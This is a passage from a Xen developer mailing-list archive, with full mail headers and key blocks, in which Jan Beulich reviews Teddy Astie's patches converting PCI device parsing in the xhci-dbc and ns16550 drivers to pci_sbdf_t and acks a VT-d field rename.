 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753819.8631fc262581453bbf619ec5b2062170.19f14687ad3000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1783438653-FF13E25E-9283E155/0/0
X-purgate-type: clean
X-purgate-size: 1159

On 29.06.2026 19:21, Teddy Astie wrote:
> Signed-off-by: Teddy Astie <teddy.astie@vates.tech>

If we deem this acceptable despite the behavioral change ...

> --- a/xen/drivers/char/xhci-dbc.c
> +++ b/xen/drivers/char/xhci-dbc.c
> @@ -1357,9 +1357,9 @@ static int __init cf_check xhci_parse_dbgp(const char *opt_dbgp)
>      }
>      else if ( strncmp(opt_dbgp + 4, "@pci", 4) == 0 )
>      {
> -        unsigned int bus, slot, func;
> +        pci_sbdf_t sbdf;
>  
> -        e = parse_pci(opt_dbgp + 8, NULL, &bus, &slot, &func);
> +        e = parse_pci(opt_dbgp + 8, &sbdf);

... from not permitting a segment to permitting one, this at the very
least needs to come with a non-empty description (justifying the
change). Also (as I think I has said there) the doc change wants to
accompany the functional change right away.

> @@ -1368,7 +1368,7 @@ static int __init cf_check xhci_parse_dbgp(const char *opt_dbgp)
>              return -EINVAL;
>          }
>  
> -        dbc->sbdf = PCI_SBDF(0, bus, slot, func);
> +        dbc->sbdf = sbdf;

Why is the extra variable needed? Can't we parse directly into dbc->sbdf?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:39:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:39:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356353.1610989 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7sy-0003EV-Pw; Tue, 07 Jul 2026 15:39:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356353.1610989; Tue, 07 Jul 2026 15:39:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7sy-0003EO-NL; Tue, 07 Jul 2026 15:39:00 +0000
Received: by outflank-mailman (input) for mailman id 1356353;
 Tue, 07 Jul 2026 15:38:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh7sx-0003EI-Bu
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:38:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh7sw-00EYbs-Cs
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:38:58 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1d77-bab6-0a2a0a5309dd-0a2a450585f4-26
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:38:58 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1d92-3cb2-0a2a45050019-d155802ed540-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:38:58 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-490cf322ed0so28889165e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:38:58 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d6da9sm33905223f8f.12.2026.07.07.08.38.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 08:38:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783438738; x=1784043538; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MvPm6IOBNFOlxLlVITBmfW48mA61ddb1fFH+9NPYdCY=;
        b=FlTe/RLKulv9TRk8VCudFOeHwciYK9VQ3X7zEJKJlf6hXL5jCTAzmw0T+f1g7w9B1T
         qZqRkXtLhc9MQHP6Tblkd24JHLfDYqcbcYyy0Q+wDeTQkxiXWjEJOuEwbmlOLVmzJ8vf
         vZeCFwYzaYxAiWD1Wdsnzcd43O8IZ+EZEoj+2OYIyn3YrvlBAoWWjvKs/WD/3jKeYOwx
         tcKvSC5QhGfCOxrn5i0upcKkjCj8uhtLvESbFDzMzJDhBM2pmtE4yHemW1fI8N208wM5
         k9RFxiOQZcir/uwsUwfHd4SP6edDEENO+mnXX5dZrHeyiZ1usLKif1n7+kBmKJVb8OcD
         Pn0w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783438738; x=1784043538;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=MvPm6IOBNFOlxLlVITBmfW48mA61ddb1fFH+9NPYdCY=;
        b=mCfsF4rAbmLC5XIEaLKd2dIReMhNHkPhwns36r4i8S5FF1NSvDOA3tfDJOzZAvD8cW
         Tez0wK9HhFT8JmLPzqPSQkALbXwvTy754DOQf43En7g1G1CqN49lNaad/XaWEkZmI5il
         pdR8Z8RcsRyWBU0Pv4o5PifJFGYXCONH+5ZFI+X7jVFF9s5N/6mIsIM7EN2nxYZLZFWb
         jT35RYsRMQVCDvAveZyEXvk0mcIhtn8rGwhfEDAOdW/kGFH+8a6YcMUs3IdzbhYzwIEH
         eB5KkuzYlAvdLCXfHfZWQTi0ZOIMa2KVuJKhiiFzqI56fK9RMCZONdrk27m0+pOuvJkE
         atYA==
X-Forwarded-Encrypted: i=1; AHgh+RrHOOKad270r5fAz6eHtS9biw7uAYd+j4zWdGywIr85UPxgMdIwmn6H8jS7BCekiKzd2QFgsIRvwB4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxFtQx5UoUiWnpOK82/aULWtI1st+mADqp2O9W+tdbaRPr68MRY
	0B8adv7i5XdMaPngrvAVX4XbcEeAUwNhCuDqAJvZYXvhRXECttXYAfrhr1VLabqSVA==
X-Gm-Gg: AfdE7ckx1U8/ZVLn2D3gxsxup2ejX0i43TdEUCLM2FMvojHWvF5iZ5TgQ0W39osQRB4
	EFw/dfbSoznl8+NDb2UDYiYEI7dqcBgM2hbyEbM2G/6gR9oTndhLgQ1ycK9hbtPjh4M8igb5OxK
	FIDYef7ypFI9PJjHh2EuO5cCObk++9Gm+0VNHRqc/FVnnk0ua9OppKjJobJF9JPKLJz+SgbTr2M
	pbjtDM1i3nfJzKmAW/cKr5LVzHqhgo7QV9AA18oQwOdW+9uOPdQmlVado3m84h5Ec0G/Y9NSMnD
	8uwbVUM466nppNUqhA0Ang655hdeHq1BJNEXExF0/MkoT8LFFZPbIZkuUth4EsplSxPUe2tnSht
	osluDzs6/FkMu/owVVN5eol67IQGHYJIW++m9v+PUK2m0OjTAiPxKCDj8o2KpDZGMmAvu8FSZZN
	/mFZn84biwp8B+mhvYkMG4wiCSAxko8h2fVpuCObVS8S1LiEhyL78qMiXUmYxB+dDlyyeqCcPPL
	4vg
X-Received: by 2002:a05:600c:4f87:b0:490:be14:bfda with SMTP id 5b1f17b1804b1-493df17fcb9mr56711575e9.6.1783438735820;
        Tue, 07 Jul 2026 08:38:55 -0700 (PDT)
Message-ID: <9a51b988-bb20-478e-91f8-16b17782019f@suse.com>
Date: Tue, 7 Jul 2026 17:38:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 12/18] ns16550: Parse into pci_sbdf_t directly
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753820.8631fc262581453bbf619ec5b2062170.19f14687dc3000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLp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Qi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753820.8631fc262581453bbf619ec5b2062170.19f14687dc3000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783438738-15D0E2B8-CBFF8639/0/0
X-purgate-type: clean
X-purgate-size: 1899

On 29.06.2026 19:21, Teddy Astie wrote:
> Signed-off-by: Teddy Astie <teddy.astie@vates.tech>
> ---
>  xen/drivers/char/ns16550.c | 24 ++++++++++++------------
>  1 file changed, 12 insertions(+), 12 deletions(-)
> 
> diff --git a/xen/drivers/char/ns16550.c b/xen/drivers/char/ns16550.c
> index a3d6c46a73..cdc9122ff9 100644
> --- a/xen/drivers/char/ns16550.c
> +++ b/xen/drivers/char/ns16550.c
> @@ -1571,22 +1571,22 @@ static bool __init parse_positional(struct ns16550 *uart, char **str)
>  #ifdef CONFIG_HAS_PCI
>      if ( *conf == ',' && *++conf != ',' )
>      {
> -        unsigned int b, d, f;
> +        pci_sbdf_t sbdf;
>  
> -        conf = parse_pci(conf, NULL, &b, &d, &f);
> +        conf = parse_pci(conf, &sbdf);
>          if ( !conf )
>              PARSE_ERR_RET("Bad port PCI coordinates");
> -        uart->pci_device = PCI_SBDF(0, b, d, f);
> +        uart->pci_device = sbdf;
>          uart->ps_bdf_enable = true;
>      }
>  
>      if ( *conf == ',' && *++conf != ',' )
>      {
> -        unsigned int b, d, f;
> +        pci_sbdf_t sbdf;
>  
> -        if ( !parse_pci(conf, NULL, &b, &d, &f) )
> +        if ( !parse_pci(conf, &sbdf) )
>              PARSE_ERR_RET("Bad bridge PCI coordinates");
> -        uart->pci_bridge = PCI_SBDF(0, b, d, f);
> +        uart->pci_bridge = sbdf;
>          uart->pb_bdf_enable = true;
>      }
>  #endif
> @@ -1670,22 +1670,22 @@ static bool __init parse_namevalue_pairs(char *str, struct ns16550 *uart)
>  
>          case port_bdf:
>          {
> -            unsigned int b, d, f;
> +            pci_sbdf_t sbdf;
>  
> -            if ( !parse_pci(param_value, NULL, &b, &d, &f) )
> +            if ( !parse_pci(param_value, &sbdf) )

Same as for the earlier change: A functional change of whatever kind wants
justifying. And the doc update wants to come right with it.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:42:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:42:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356362.1611000 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7wQ-0004np-D3; Tue, 07 Jul 2026 15:42:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356362.1611000; Tue, 07 Jul 2026 15:42:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7wQ-0004ni-8i; Tue, 07 Jul 2026 15:42:34 +0000
Received: by outflank-mailman (input) for mailman id 1356362;
 Tue, 07 Jul 2026 15:42:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh7wP-0004nc-Js
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:42:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh7wP-006rQK-0G
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:42:33 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1e5e-5cb7-0a2a0a5109dd-0a2a4508e1f6-28
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:42:32 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1e68-edec-0a2a45080019-d1558033a59b-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:42:32 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-4938d5f86f3so5052515e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:42:32 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f5bc78sm76588055e9.14.2026.07.07.08.42.30
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 08:42:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783438952; x=1784043752; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=AZmMfW/lMUY5tgbDse9XILPCUWwRiOfXgvnmdPjZkUY=;
        b=YWQV9HD7JE+6nPjgIbfVwnw/ctunFy3IO90B6Jn2Q+oCoCu6rhIr2EqXiTXuuXo14y
         z1NKTPz5T64xaXHWN2Y+G6dX6aWMzW9LcDf8vJeuXulhwKFFfrVZjO2JMaUVZ8PgdVjY
         DoFHdR020syAvuvqtD3IjVGGChRiFXcBXvkOnU0Ii9ekxTQO1/DHCQSi2brAnnYMz5UC
         0PLV3T1Sg1ESZCTPHfBRKnn4B9i/CjgRdqhvT4z2p6Q+7JNx3aj91bSN0T0AqSUIX4Gj
         dM1nXrP1lnlSeirQDChWib/e+aS8wQhfEM8Z5bf8VZehgexdBdt1TmGDbqLEYkSJb334
         nBwA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783438952; x=1784043752;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=AZmMfW/lMUY5tgbDse9XILPCUWwRiOfXgvnmdPjZkUY=;
        b=CZo9sxicJl3uNo/bZR9j6xE0fCc+rYiAGTdBU1H0GgkAy20XuamVIUG9StBxUB2UFn
         P4s9W+7uXEf0piQPtgTJpleBqDZuSLrYBYcrA3v7QH4VqhFjOSHJQcHjypnFoJlBZ7lo
         Cfu3Akp5dpl6RhxV0x0JeLwIgF82Hz7ULFdmbNOsHpW9pX9r+AhB/OG226YKWZcStfJg
         BPx9mkCApEhIV08YK61eZIw0fAG9ULO0xcc76eAcUu7StlklJjf7w4kl7dP8PV/Jj+VN
         HG0n1d3WQbNN5GIvwoZ65oA/LEgDKfljtL5GngGMwuRNhtMr2b4CIF4RI1I/SItgElaK
         YBYQ==
X-Forwarded-Encrypted: i=1; AHgh+Rqb2JPQhZlQhrv7Um6GjxvmXyvivHBNUSSC6a2dMo69iKFvmZMqT/9L5hH8uKuxvwXHZ3pX+aI0M+Q=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy+8QP+40sCiDtCmAmATzFZwd1dXAJ35QRLbRbXWnrwvc2DAC2o
	NAW0A4UpcexONMX6VUcnFk9HfFXhs0l23tWkPXmSMHz7hmjLGvgTQicuDJyOrc7f5w==
X-Gm-Gg: AfdE7cl/Viw+aCGBeTYdYCiJNyMJ0J5eU86P/weJWbgSlgv+zTlhr3cd5EqD6Nb70bE
	nEKp1qDR1OaamJuw2mFQtcHM8WKUs5jzwI3Wc6Ub5obD3IkD6gPt1XouoB5DfvyC6/DFX+5Lr03
	memWzUu5mC66lI0dOYpJs0GlOgOvS87OkAtXTxht77BcSxAXgDcXthZvmJHC2qrSugOF5jKl655
	MIB037hQDETmP6Vd6D0b8v9a3lmfdkT2iW78uIo70ejK+yhswF253jHmEox1R0mpa9t410WXnnC
	6fiR/A5LQ3fK7VQjlP+8BOgmrN7UNyitEoz/xO+sGKmEO1YOnHQKfd8XAu5vLY618D2fXaV61Ve
	4pNGxePOqe/AyfX+pBNFiKo/KRryzelGqpJe1HcBV0vAFla2CXhfvqxvKqjRi84WcHHLF/DUlhH
	011D1CK0yCa++OtlyBKHBk/1AuqbMBsvLEoFqh0hXyvP3qVVxzDGqrRkhGM1YgOyetsPrbNtvsq
	a8q
X-Received: by 2002:a05:600c:8a09:20b0:493:e2c3:af25 with SMTP id 5b1f17b1804b1-493e2c3b011mr22295365e9.12.1783438951158;
        Tue, 07 Jul 2026 08:42:31 -0700 (PDT)
Message-ID: <5cdd813f-bef0-4af6-b96e-e715d505023b@suse.com>
Date: Tue, 7 Jul 2026 17:42:30 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 13/18] vtd: Rename acpi_ioapic_unit.ioapic.info to
 acpi_ioapic_unit.bdf
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753820.8631fc262581453bbf619ec5b2062170.19f1468806b000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753820.8631fc262581453bbf619ec5b2062170.19f1468806b000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1783438952-A253F3FC-CB0320B1/0/0
X-purgate-type: clean
X-purgate-size: 500

On 29.06.2026 19:21, Teddy Astie wrote:
> This is actually the bdf, collapse the redundant "ioapic" struct
> and rename "info" to "bdf" to avoid confusion.
> 
> Signed-off-by: Teddy Astie <teddy.astie@vates.tech>
> Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>

With the tags flipped to be in chronological order:
Acked-by: Jan Beulich <jbeulich@suse.com>
Looks like this is independent of earlier patches in this series, and
hence could go in right away. Please confirm.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:45:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:45:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356370.1611007 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7ys-0005KU-Nb; Tue, 07 Jul 2026 15:45:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356370.1611007; Tue, 07 Jul 2026 15:45:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7ys-0005KN-Kx; Tue, 07 Jul 2026 15:45:06 +0000
Received: by outflank-mailman (input) for mailman id 1356370;
 Tue, 07 Jul 2026 15:45:05 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh7yr-0005KH-D3
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:45:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh7yq-00Cv5N-Q3
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:45:04 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1ef6-e002-0a2a0a5209dd-0a2a4501988a-44
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:45:04 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1f00-400f-0a2a45010019-d155802abcdf-3
